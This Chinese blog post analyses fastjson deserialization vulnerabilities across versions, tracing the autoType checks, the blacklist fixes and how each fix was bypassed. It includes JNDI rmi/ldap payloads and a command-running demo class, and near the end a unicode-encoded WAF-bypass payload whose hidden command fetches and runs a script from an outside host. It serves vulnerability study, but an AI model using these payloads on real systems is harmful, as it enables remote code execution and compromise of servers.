fastjson注入分析与总结
fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
fastjson简介
将类转为json
最常用的方法就是 JSON.toJSONString() ,该方法有若干重载方法,带有不同的参数,其中常用的包括以下几个:
- 序列化特性:
com.alibaba.fastjson.serializer.SerializerFeature,可以通过设置多个特性到FastjsonConfig中全局使用,也可以在使用具体方法中指定特性。 - 序列化过滤器:
com.alibaba.fastjson.serializer.SerializeFilter,这是一个接口,通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化。 - 序列化时的配置:
com.alibaba.fastjson.serializer.SerializeConfig,可以添加特点类型自定义的序列化配置。
将json反序列化为类
将 json 数据反序列化时常使用的方法为parse()、parseObject()、parseArray(),这三个方法也均包含若干重载方法,带有不同参数:
- 反序列化特性:
com.alibaba.fastjson.parser.Feature, - 类的类型:
java.lang.reflect.Type,用来执行反序列化类的类型。 - 处理泛型反序列化:
com.alibaba.fastjson.TypeReference。 - 编程扩展定制反序列化:
com.alibaba.fastjson.parser.deserializer.ParseProcess,例如ExtraProcessor用于处理多余的字段,ExtraTypeProvider用于处理多余字段时提供类型信息。
示例代码
pom依赖
1 | <dependency> |
User类
1 | public class User { |
使用fastjson将对象解析为字符串、从字符串解析为对象:
1 | import com.alibaba.fastjson.JSON; |
运行结果
1 | {"key1":"One","key2":"Two"} |
fastjson通过JSON.toJSONString()将对象转为字符串(序列化),当使用SerializerFeature.WriteClassName参数时会将对象的类名写入@type字段中,在重新转回对象时会根据@type来指定类,进而调用该类的set、get方法。因为这个特性,我们可以指定@type为任意存在问题的类,造成一些问题。
在字符串转对象的过程中(反序列化),主要使用JSON.parse()和JSON.parseObject()两个方法,两者区别在于parse()会返回实际类型(User)的对象,而parseObject()在不指定class时返回的是JSONObject,指定class才会返回实际类型(User)的对象,也就是JSON.parseObject(s2)和JSON.parseObject(s2, Object.class)的区别,这里也可以指定为User.class。
我们再来看@type的问题,我定义了一个Evil类,在其set方法中可以执行命令
1 | import java.io.IOException; |
在fastjson中加入如下代码:
1 | Object t3 = JSON.parseObject("{\"@type\":\"com.alter.test.Evil\",\"cmd\":\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"", Object.class); |
此时弹出计算器并增加如下输出
1 | Evil() |
我们通过控制@type来实现反序列化恶意Evil类,从而RCE,很简单只是举个例子说明@type的使用。
那么到这里还有一个问题,为什么写在setCmd方法会自动调用呢?
set、get方法的自动调用
测试代码如下:
1 | System.out.println("--------------------------"); |
运行结果为
1 | -------------------------- |
可以看到parseObject(text)的get、set、构造方法都自动调用了,另外两种解析方法(parse(text)、parseObject(text,clazz))只调用了set、构造方法。
在通过@type拿到类之后,通过反射拿到该类所有的方法存入methods
接下来遍历methods进而获取set方法
总结set方法自动调用的条件为:
- 方法名长度大于等于
4 - 不是静态方法
- 无返回值或返回值是当前类
- 参数为
1 - 方法名以
set开头
当满足条件之后会从方法名截取属性名,截取时会判断方法名第四个字符,如果是 _,如set_name会截取为name属性,具体逻辑如下:
当截取完但是找不到这个属性,会判断传入的第一个参数类型是否为布尔型,是的话将propertyName第一个字母转大写拼接在is后,并且然后重新尝试获取属性字段。
比如:public boolean setBoy(boolean t) 会寻找isBoy字段。
接下来就是如果有setCmd()会绑定cmd属性,如果该类没有cmd属性会绑定isCmd属性。
获取get方法
总结get方法自动调用的条件为:
- 方法名长度大于等于
4 - 不是静态方法
- 无返回值或返回值是当前类
- 方法名以
get开头 - 第四个字母大写
- 没有参数
- 返回值类型继承自
Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong
在前文中我们知道parseObject(text)返回的是JSONObject对象,跟进其方法发现也是使用parse解析的,但是多了一个(JSONObject)toJSON(obj)
parseObject(text)调用get方法的调用栈如下:(在调用set和构造方法之后调用get)
当程序绑定了对应的字段之后,如果传入json字符串的键值中存在这个值,就会去调用执行对应的setter、构造方法。
小结:
parse(jsonStr)构造方法+Json字符串指定属性的setter()+特殊的getter()parseObject(jsonStr)构造方法+Json字符串指定属性的setter()+所有getter()包括不存在属性和私有属性的getter()parseObject(jsonStr,Object.class)构造方法+Json字符串指定属性的setter()+特殊的getter()- 使用
JSON.parse(jsonString)和JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在jsonString中解析字符串获取@type指定的类,后者则会直接使用参数中的class。 fastjson在创建一个类实例时会通过反射调用类中符合条件的getter/setter方法,其中getter方法需满足条件:方法名长于4、不是静态方法、以get开头且第4位是大写字母、方法不能有参数传入、继承自Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有setter方法;setter方法需满足条件:方法名长于4,以set开头且第4位是大写字母、非静态方法、返回类型为void或当前类、参数个数为1个。具体逻辑在com.alibaba.fastjson.util.JavaBeanInfo.build()中。- 使用
JSON.parseObject(jsonString)将会返回JSONObject对象,且类中的所有getter与setter都被调用。 - 如果目标类中私有变量没有
setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数。 fastjson在为类属性寻找get/set方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_|-字符串,也就是说哪怕你的字段名叫_a_g_e_,getter方法为getAge(),fastjson也可以找得到,在1.2.36版本及后续版本还可以支持同时使用_和-进行组合混淆。fastjson在反序列化时,如果Field类型为byte[],此时com.alibaba.fastjson.serializer#deserialze中lexer.token()==4,将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,对应的在序列化时也会进行base64编码。
这里放一张大佬的fastjson经典流程图
- JSON 入口,提供将json串转换为java对象的静态方法。这些方法的实现,实际托付给了DefaultJSONParser类
- DefaultJSONParser 功能组合器,它将上层调用、反序列化配置、反序列化实现、词法解析等功能组合在一起,相当于设计模式中的外观模式,供外部统一调用
- ParserConfig 全局唯一的解析配置
- JSONLexer 专门用于解析 JSON 字符串,主要JSONScanner和JSONLexerBase,前者是对整个字符串的反序列化,后者是接Reader直接序列化
- SymbolTable 因为 json 特殊性,对关键 key 的缓存
- ObjectDeserializer 反序列化接口
漏洞历程
1. fastjson-1.2.24
在2017年3月15日,fastjson官方主动爆出在 1.2.24 及之前版本存在远程代码执行高危安全漏洞。
影响版本:fastjson <= 1.2.24
描述:fastjson 默认使用 @type 指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。此漏洞开启了 fastjson 反序列化漏洞的大门,为安全研究人员提供了新的思路。
在小于 fastjson 1.2.24 版本中有两条利用链。
1 | JDK7u21 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl |
TemplatesImpl 反序列化
TemplatesImpl 类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,实现了 Serializable 接口,因此它可以被序列化,我们来看一下漏洞触发点。
首先我们注意到该类中存在一个成员属性 _class,是一个 Class 类型的数组,数组里下标为_transletIndex ,在getTransletInstance()方法中数组元素使用 newInstance() 实例化。
而类中的 getOutputProperties() 方法调用 newTransformer() 方法, newTransformer() 又调用了 getTransletInstance() 方法。
而 getOutputProperties() 方法就是类成员变量 _outputProperties 的 getter 方法。
这就给了我们调用链,那 _class 中的类是否可控呢?看一下调用,发现在构造方法以及 defineTransletClasses() 中有赋值的动作。
其中 defineTransletClasses() 在 getTransletInstance() 中,如果 _class 为空即会被调用
看一下 defineTransletClasses() 的逻辑:
首先要求 _bytecodes 不为空,接着就会调用自定义的 ClassLoader 去加载 _bytecodes 中的 byte[] 。而 _bytecodes 也是该类的成员属性。
而如果这个类的父类为 ABSTRACT_TRANSLET 也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,就会将类成员属性的 _transletIndex 设置为当前循环中的标记位,而如果是第一次调用,就是_class[0]。如果父类不是这个类,将会抛出异常。
那这样一条完整的漏洞调用链就呈现出来了:
- 构造一个
TemplatesImpl类的反序列化字符串,其中_bytecodes是我们构造的恶意类的类字节码,这个类的父类是AbstractTranslet,最终这个类会被加载到getTransletInstance(),并使用newInstance()实例化。 - 在反序列化过程中,由于
getter方法getOutputProperties(),满足条件,将会被fastjson调用,而这个方法触发了整个漏洞利用流程:getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()/EvilClass.newInstance().
其中,为了满足漏洞点触发之前不报异常及退出,我们还需要满足 _name 不为 null ,_tfactory 不为 null 。
由于部分需要我们更改的私有变量没有 setter 方法,需要使用 Feature.SupportNonPublicField 参数。
条件苛刻
- 服务端使用
parseObject()时,必须使用如下格式才能触发漏洞:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField) - 服务端使用
parse()时,需要JSON.parse(text, Feature.SupportNonPublicField)
最终payload如下:
1 | { |
poc为
1 | public class fastjson_1_2_24 { |
看完poc应该考虑的几个问题:
- 为什么
parseObject需要Feature.SupportNonPublicField? _bytecodes为什么需要base64编码?_tfactory为什么为{}?
Feature.SupportNonPublicField
在fastjson中默认并不能序列化private属性,而我们使用的TemplatesImpl利用链的多个属性都是private,如_name、_tfactory,所以在反序列化的时候需要加上Feature.SupportNonPublicField,这也成了这个利用链的最大限制。
_bytecodes为什么需要base64编码
在解析byte[]的时候进行了base64解码
_tfactory为什么为{}
在fastjson-1.2.24.jar的!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class:576解析字段值时,会自动判断传入键值是否为空,如果为空会根据类属性定义的类型自动创建实例

JdbcRowSetImpl 反序列化
JdbcRowSetImpl 类位于 com.sun.rowset.JdbcRowSetImpl ,这条漏洞利用链比较好理解,是 javax.naming.InitialContext#lookup() 参数可控导致的 JNDI 注入。
先看一下 setAutoCommit() 方法,在 this.conn 为空时,将会调用 this.connect() 方法。
this.connect()方法里调用了 javax.naming.InitialContext#lookup() 方法,参数从成员变量 dataSource 中获取。
这时调用链就十分清晰了,setDataSourceName()和setAutoCommit()满足setter自动调用的条件,当我们传入对应json键值对时就会触发setter,进而触发jndi链接。
最终的 payload 为:
1 | { |
这里给autoCommit赋值是为了触发setAutoCommit方法。
poc为
1 | public static void jdbc() { |
JNDI传输过程中使用的就是序列化和反序列化,所以通杀三种解析方式
1 | JSON.parse(evil); |
2. fastjson-1.2.25
在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。
影响版本:1.2.25 <= fastjson <= 1.2.41
描述:作者通过为危险功能添加开关,并提供黑白名单两种方式进行安全防护,其实已经是相当完整的防护思路,而且作者已经意识到黑名单类将会无穷无尽,仅仅通过维护列表来防止反序列化漏洞并非最好的办法。而且靠用户自己来关注安全信息去维护也不现实。
安全更新主要集中在 com.alibaba.fastjson.parser.ParserConfig,首先查看类上出现了几个成员变量:布尔型的 autoTypeSupport,用来标识是否开启任意类型的反序列化,并且默认关闭;字符串数组 denyList ,是反序列化类的黑名单;acceptList 是反序列化白名单。
其中黑名单 denyList 包括:
1 | bsh |
添加反序列化白名单有3种方法:
- 使用代码进行添加:
ParserConfig.getGlobalInstance().addAccept("org.alter.fastjson.,org.javaweb.") - 加上JVM启动参数:
-Dfastjson.parser.autoTypeAccept=org.alter.fastjson. - 在
fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.alter.fastjson.
看一下 checkAutoType() 的逻辑,如果开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时,先判断类名是否在白名单中,如果在,就使用 TypeUtils.loadClass 加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常。
如果没开启 autoType ,则是先使用黑名单匹配,再使用白名单匹配和加载。最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class
进入loadClass看一下,发现这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [、L、; 字符。
因此就在这个位置出现了逻辑漏洞,攻击者可以使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。
因此,漏洞利用的思路就出来了:需要开启 autoType,使用带有描述符的类来进行黑名单的绕过。
最终的 payload 其实就是在之前的 payload 类名上前后加上 L 和 ; 即可:
1 | { |
3. fastjson-1.2.42
在版本 1.2.42 中,fastjson 继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 hash 的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。
影响版本:1.2.25 <= fastjson <= 1.2.42
描述:通过变量常用的jar、类、字符串碰撞hash得到黑名单,有一个项目已经做好了:https://github.com/LeadroyaL/fastjson-blacklist

加密方式在com.alibaba.fastjson.util.TypeUtils#fnv1a_64是有的
并且在 checkAutoType 中加入判断,如果类的第一个字符是 L 结尾是 ;,则使用 substring 进行了去除。还是用hash写的。
但是这种判断完全是徒劳的,因为在最后处理时是递归处理,因此只要对描述符进行双写即可绕过:
1 | { |
4. fastjson-1.2.43
这个版本主要是修复上一个版本中双写绕过的问题。
影响版本:1.2.25 <= fastjson <= 1.2.43
描述:上有政策,下有对策。在 L、; 被进行了限制后,安全研究人员将目光转向了 [。
可以看到用来检查的 checkAutoType 代码添加了判断,如果类名连续出现了两个 L 将会抛出异常
这样使用 L、; 绕过黑名单的思路就被阻挡了,但是在 loadClass 的过程中,还针对 [ 也进行了处理和递归,可以利用 [ 进行黑名单的绕过(1.2.25 <= fastjson <=1.2.43都可以利用[过滤)payload如下:
1 | { |
5. fastjson-1.2.44
这个版本主要是修复上一个版本中使用 [ 绕过黑名单防护的问题。
影响版本:1.2.25 <= fastjson <= 1.2.44
描述:在此版本将 [ 也进行修复了之后,由字符串处理导致的黑名单绕过也就告一段落了。
在 checkAutoType 中添加了新的判断,如果类名以 [ 开始则直接抛出异常。
可以使用像fastjson-1.2.45的payload byPass
6. fastjson-1.2.45
在此版本爆出了一个黑名单绕过,实际上,黑名单是无穷无尽的,随着 fastjson 的版本更新,一定会有更多的黑名单爆出来,因为隔壁 jackson 都是明文黑名单的,只要隔壁一更新,大家都看到了,就会拿来看 fastjson。
影响版本:1.2.25 <= fastjson <= 1.2.45
描述:黑名单列表需要不断补充。
payload如下:
1 | { |
需要pom
1 | <dependency> |
7. fastjson-1.2.47
在 fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。
影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
影响版本:1.2.33 <= fastjson <= 1.2.47不论是否开启AutoTypeSupport
描述:作者删除了一个 fastjson 的测试文件:https://github.com/alibaba/fastjson/commit/be41b36a8d748067ba4debf12bf236388e500c66 ,里面包含了这次通杀漏洞的 payload。
分析
这次的绕过问题还是出现在 checkAutoType() 方法中:
1 | public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { |
由以上代码可知,这里存在一个逻辑问题: autoTypeSupport 为 true 时,fastjson 也会禁止一些黑名单的类反序列化,但是有一个判断条件:当反序列化的类在黑名单中,且 TypeUtils.mappings 中没有该类的缓存时,才会抛出异常。这里就留下了一个伏笔。就是这个逻辑导致了 1.2.32 之前的版本将会受到 autoTypeSupport 的影响。
1.2.32 之前的版本由于开启了AutoTypeSupport,所以会进行黑白名单判断。黑名单判断逻辑为:
1 | for(i = 0; i < this.denyList.length; ++i) { |
这样进入黑名单判断,因为com.sun属于黑名单里面的内容,会抛出异常所以利用失败。1.2.33及以后的版本增加了如下代码
1 | if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) { |
这样即使className.startsWith(deny)满足,但TypeUtils.getClassFromMapping(typeName) == null不满足,这样就不会抛出异常
在 autoTypeSupport 为默认的 false 时,程序直接检查黑名单并抛出异常,在这部分我们无法绕过,所以我们的关注点就在判断之前,程序在 TypeUtils.mappings 中和 deserializers 中尝试查找要反序列化的类,如果找到了,就会进入下面if(clazz!=null)这个判断中,并进行 return,这就避开下面 autoTypeSupport 默认为 false 时的检查。
如何才能在这两步中将我们的恶意类加载进去呢?
先看 deserializers ,位于 com.alibaba.fastjson.parser.ParserConfig.deserializers ,是一个 IdentityHashMap,能向其中赋值的函数有:
getDeserializer():这个类用来加载一些特定类,以及有JSONType注解的类,在put之前都有类名及相关信息的判断,无法为我们所用。initDeserializers():无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。putDeserializer():被前两个函数调用,我们无法控制入参。
因此我们无法向 deserializers 中写入值,也就在其中读出我们想要的恶意类。所以我们的目光转向了 TypeUtils.getClassFromMapping(typeName)。
同样的,这个方法从 TypeUtils.mappings 中取值,这是一个 ConcurrentHashMap 对象,能向其中赋值的函数有:
addBaseClassMappings():无入参,加载loadClass():关键函数
看一下 loadClass() 的代码:
1 | public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { |
由以上代码可知,只要我们能够控制这个方法的参数,就可以往 mappings 中写入任意类名。loadClass 一共有三个重载方法,如下图:
我们需要找到调用这些方法的类,并看是否能够为我们控制:
Class<?> loadClass(String className, ClassLoader classLoader, boolean cache):调用链均在checkAutoType()和TypeUtils里自调用,略过。Class<?> loadClass(String className):除了自调用,有一个castToJavaBean()方法,暂未研究。Class<?> loadClass(String className, ClassLoader classLoader):方法调用三个参数的重载方法,并添加参数true,也就是会加入参数缓存中。
重点看一下两个参数的 loadClass 方法在哪调用:
在这里我们关注 com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法,这个类是用来处理一些乱七八糟类的反序列化类,其中就包括 Class.class 类,成为了我们的入口。
如果 parser.resolveStatus 为TypeNameRedirect(值为2) 时,进入 if 语句,会解析 val 中的内容并放入 objVal 中,然后传入 strVal 中。

后面的逻辑如果 class 是 Class.class 时,将会调用 loadClass 方法,将 strVal 进行类加载并缓存:
小结
首先要避开checkAutoType()中autoTypeSupport 默认为 false 时的检查,从两个if判断语句入手
发现只有TypeUtils.getClassFromMapping(typeName)可能对clazz赋值
使用两个参数的loadclass向mapping中赋值MiscCodec#deserialze 方法调用了两个参数的loadclass
调用之前需要满足parser.resolveStatus 为TypeNameRedirect(值为2) 时,其中一个key为 val ,此时会将val的内容放入 objVal 中,然后传入 strVal 中。
接着如果 class 是 Class.class 时,将会调用 loadClass 方法,将 strVal 进行类加载并缓存
所以可以将恶意类名存到val中,这就完成了恶意类的加载,可以避开异常的抛出。
如何满足parser.resolveStatus 为TypeNameRedirect(值为2),在后面调试中会讲到
调试
构造一个 json :{"@type":"java.lang.Class","val":"aaaaa"} ,调试一下:JSON.parseObject()经过如下调用栈,来到parse(String text, ParserConfig config, int features)
parse调用 DefaultJSONParser 对 JSON 进行解析。
DefaultJSONParser.parseObject() 调用 checkAutoType() 检查待加载类的合法性。
由于 deserializers 在初始化时将 Class.class 进行了加载,因此使用 findClass 可以找到,越过了后面 AutoTypeSupport 的检查。

checkAutoType()提前return后,回到DefaultJSONParser.parseObject(),在后面将resolveStatus 设置为 为TypeNameRedirect(值为2)
DefaultJSONParser.parseObject() 根据不同的 class 类型分配 deserialzer,Class 类型由 MiscCodec.deserialze() 处理。
解析 json 中 val 中的内容,并放入 objVal 中,如果不是 val 将会报错。
传递至 strVal 并使用 loadClass 加载并缓存。
此时恶意的 val 成功被我们加载到 mappings 中,再次以恶意类进行 @type 请求时即可绕过黑名单进行的阻拦
因此最终 payload 为:
1 | { |
可以看到,对alter2进行检查时TypeUtils.getClassFromMapping(typeName);找到了typeName(com.sun.rowset.JdbcRowSetImpl),提前reutrn。
在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。
这个安全修复为 fastjson 带来了一定时间的平静,直到 1.2.68 版本出现了新的漏洞利用方式。
8. fastjson-1.2.62
黑名单绕过
1 | {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}"; |
9. fastjson-1.2.66
黑名单绕过
1 | // 需要autotype true |
10. fastjson-1.2.67
范围:fastjson<=1.2.67
前提条件:
- 开启
AutoType; Fastjson <= 1.2.67;JNDI注入利用所受的JDK版本限制;org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;
1 | {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}} |
11. fastjson-1.2.68
在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。
这个安全修复为 fastjson 带来了一定时间的平静,直到 1.2.68 版本出现了新的漏洞利用方式。
影响版本:fastjson <= 1.2.68
描述:利用 expectClass 绕过 checkAutoType() ,实际上也是为了绕过安全检查的思路的延伸。主要使用 Throwable 和 AutoCloseable 进行绕过。
版本 1.2.68 本身更新了一个新的安全控制点 safeMode,如果应用程序开启了 safeMode,将在 checkAutoType() 中直接抛出异常,也就是完全禁止 autoType,不得不说,这是一个一劳永逸的修复方式。
但与此同时,这个版本报出了一个新的 autoType 开关绕过方式:利用 expectClass 绕过 checkAutoType()。
在 checkAutoType() 函数中有这样的逻辑:如果函数有 expectClass 入参,且我们传入的类名是 expectClass 的子类或实现,并且不在黑名单中,就可以通过 checkAutoType() 的安全检测。(isAssignableFrom(clazz) 判定此 Class 对象所表示的类或接口与指定的 Class 参数所表示的类或接口是否相同,或是否是其超类或超接口)
接下来我们找一下 checkAutoType() 几个重载方法是否有可控的 expectClass 的入参方式,最终找到了以下几个类:
ThrowableDeserializer#deserialze()JavaBeanDeserializer#deserialze()
ThrowableDeserializer#deserialze() 方法直接将 @type 后的类传入 checkAutoType() ,并且 expectClass 为 Throwable.class。
通过 checkAutoType() 之后,将使用 createException 来创建异常类的实例。
这就形成了 Throwable 子类绕过 checkAutoType() 的方式。我们需要找到 Throwable 的子类,这个类的 getter/setter/static block/constructor 中含有具有威胁的代码逻辑。
与 Throwable 类似地,还有 AutoCloseable ,之所以使用 AutoCloseable 以及其子类可以绕过 checkAutoType() ,是因为 AutoCloseable 是属于 fastjson 内置的期望类中,其余的调用链一致,流程不再赘述
payload:
1 | {"@type":"java.lang.AutoCloseable","@type":"vul.VulAutoCloseable","cmd":"calc"} |
pom依赖如下:
1 | <dependency> |
修复方式简单粗暴,将java.lang.Runnable,java.lang.Readable和java.lang.AutoCloseable加入了黑名单
并且从这个版本(1.2.68)开始,Fastjson 引入了safeMode功能,safeMode可以用来控制关闭反序列化功能,开启后禁止反序列化,并且会直接抛出异常,彻底解决了反序列化造成的问题。
这里补充一下2021BlackHat上的议题《How i use json deserialization》
BlackHat 2021 议题 :
链接:https://www.blackhat.com/us-21/briefings/schedule/#how-i-used-a-json-deserialization-day-to-steal-your-money-on-the-blockchain-22815
PPT链接:http://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf

对比1.2.68中的期望类(TypeUtils.java)和黑名单,发现少了 java.lang.AutoCloseabl和java.util.BitSet,所以有以下流程

所以实际上找到一个typeName满足以下条件就可以绕过checkAutoType的检测:
- 继承于java.lang.AutoCloseabl或java.util.BitSet
- 不在fastjson的黑名单类中
- 其父类和父类接口不在黑名单中
《How i use json deserialization》议题中给出了一些方向: 继承于 java.lang.AutoCloseable 的类能够导致的漏洞:
- Mysql RCE
- Apache commons io read and write files
- Jetty SSRF
- Apachexbean-reflectRCE
- …….
12. fastjson-1.2.80
bypasswaf
本地测试时注意jdk版本、依赖、依赖版本等
https://www.sec-in.com/article/950Fastjson默认会去除键、值外的空格、\b、\n、\r、\f等,同时还会自动将键与值进行unicode与十六进制解码。
这样就可以在payload里面添加除键、值外的空格、\b、\n、\r、\f,也可以对payload进行unicode和十六进制编码
如:
1 | \u0040\u0074\u0079\u0070\u0065":"\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0062\u0065\u0061\u006e\u002e\u0070\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0065\u0064\u0069\u0074\u006f\u0072\u002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u0065\u0072","asText":"\u006c\u0064\u0061\u0070\u003a\u002f\u002f\u0031\u0035\u0039\u002e\u0031\u0033\u0038\u002e\u0031\u0033\u0030\u002e\u0032\u0030\u0031\u003a\u0031\u0033\u0038\u0039\u002f\u0054\u006f\u006d\u0063\u0061\u0074\u0042\u0079\u0070\u0061\u0073\u0073\u002f\u0043\u006f\u006d\u006d\u0061\u006e\u0064\u002f\u0062\u0061\u0073\u0065\u0036\u0034\u002f\u0059\u0033\u0056\u0079\u0062\u0043\u0041\u0078\u004e\u0054\u006b\u0075\u004d\u0054\u004d\u0034\u004c\u006a\u0045\u007a\u004d\u0043\u0034\u0079\u004d\u0044\u0045\u0036\u004f\u0044\u0067\u0076\u004d\u0058\u0078\u0069\u0059\u0058\u004e\u006f |
第二种方法:

第三种方法是使用大量脏数据绕WAF
获取版本号
目前最新版本1.2.83可以获取
原理是在JavaBeanDeserializer类中能够抛出异常,异常包含版本信息。
1 | if (token != 12 && token != 16) |
在com.alibaba.fastjson.parser#JSONToken中给出了token的定义
1 | public static final int LBRACE = 12;// ("{") |
绕过第一个条件,payload不能使{闭合并且不能有,
1 | String payload ="{\"@type\":\"java.lang.AutoCloseable\"}";//token=12 |
绕过第二个条件,不涉及[]就行。
下面是poc
// 方法一
// String payload ="{\"@type\":\"java.lang.AutoCloseable\"";
// Object t2 = JSON.parseObject(payload);
// 方法二
String payload = "a";
Object t = JSON.parseObject(payload,getVersion.class);
总结
- fastjson <= 1.2.24
JDK7u21 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
JNDI com.sun.rowset.JdbcRowSetImpl
1.2.25 <= fastjson <= 1.2.41
1.2.25引入了checkAutoType安全机制L ;绕过[ [绕过1.2.25 <= fastjson <= 1.2.42
双写L ;绕过[ [绕过1.2.25 <= fastjson <= 1.2.43
[ [绕过1.2.25 <= fastjson <= 1.2.44
使用后面的的payload进行byPass1.2.25 <= fastjson <= 1.2.45
根据jackson的黑名单的到如JndiDataSourceFactory1.2.25 <= fastjson <= 1.2.32 没有开启 AutoTypeSupport 以及 1.2.33 <= fastjson <= 1.2.47不论是否开启AutoTypeSupport
通杀payloadfastjson-1.2.62
范围没测
黑名单绕过fastjson-1.2.66
范围没测
黑名单绕过fastjson<=1.2.67
fastjson <= 1.2.68
版本1.2.68本身更新了一个新的安全控制点safeMode,如果应用程序开启了safeMode,将在checkAutoType()中直接抛出异常,也就是完全禁止autoTypeexpectClass绕过
更多绕过参考https://github.com/safe6Sec/Fastjson
通过hash碰撞得到黑名单,https://github.com/LeadroyaL/fastjson-blacklistfastjson流程分析可以看panda师傅的[文章](https://www.cnpanda.net/sec/1183.html
